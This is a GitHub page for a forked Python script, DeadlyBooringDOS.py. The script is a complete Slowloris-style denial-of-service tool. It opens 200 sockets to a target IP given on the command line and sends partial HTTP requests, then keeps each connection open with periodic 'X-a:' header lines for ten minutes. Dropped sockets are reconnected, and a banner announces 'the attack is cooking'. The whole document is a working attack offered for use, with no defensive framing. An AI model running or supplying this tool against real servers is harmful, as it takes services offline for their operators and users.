forked from joelbarmettlerUZH/DeadlyBooring_DOS
-
Notifications
You must be signed in to change notification settings - Fork 3
/
DeadlyBooringDOS.py
75 lines (66 loc) · 3.18 KB
/
DeadlyBooringDOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import socket, random, time, sys
class DeadlyBooring():
def __init__(self, ip, port=80, socketsCount = 200):
self._ip = ip
self._port = port
self._headers = [
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)",
"Accept-Language: en-us,en;q=0.5"
]
self._sockets = [self.newSocket() for _ in range(socketsCount)]
def getMessage(self, message):
return (message + "{} HTTP/1.1\r\n".format(str(random.randint(0, 2000)))).encode("utf-8")
def newSocket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.getMessage("Get /?"))
for header in self._headers:
s.send(bytes(bytes("{}\r\n".format(header).encode("utf-8"))))
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.newSocket()
def attack(self, timeout=sys.maxsize, sleep=15):
t, i = time.time(), 0
while(time.time() - t < timeout):
for s in self._sockets:
try:
print("Sending request #{}".format(str(i)))
s.send(self.getMessage("X-a: "))
i += 1
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.newSocket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
try:
ipaddr = sys.argv[1]
except IndexError:
sys.exit("""
-----------------------------------------------------------------------
-----------------------------------------------------------------------
Please specify an IP address to run.
Usage: python3 DeadlyBooringDOS.py <target_ip>
-----------------------------------------------------------------------
-----------------------------------------------------------------------
""")
mstr="""
( ( ) (
)\ ) ( ( ( )\ ) ( /( )\ )
(()/( ( ) )\ ) )\ ( ( )\ ( ( ( ( (()/( )\()) (()/(
/(_)) ))\ ( /( (()/(((_))\ ) )((_) ( ( )( )\ ( )\))( /(_)) ((_)\ /(_))
(_))_ /((_))(_)) ((_))_ (()/(((_)_ )\ )\ (()\((_) )\ ) ((_))\(_))_ ((_) (_))
| \ (_)) ((_)_ _| || | )(_))| _ ) ((_) ((_) ((_)(_) _(_/( (()(_)| \ / _ \ / __|
| |) |/ -_)/ _` |/ _` || || || || _ \/ _ \/ _ \| '_|| || ' \))/ _` | | |) || (_) |\__ \
|___/ \___|\__,_|\__,_||_| \_, ||___/\___/\___/|_| |_||_||_| \__, | |___/ \___/ |___/
|__/ |___/
Please wait the attack is cooking!
"""
for x in mstr.splitlines():
print(x)
time.sleep(0.5)
dos = DeadlyBooring(ipaddr, 80, socketsCount=200)
dos.attack(timeout=60*10)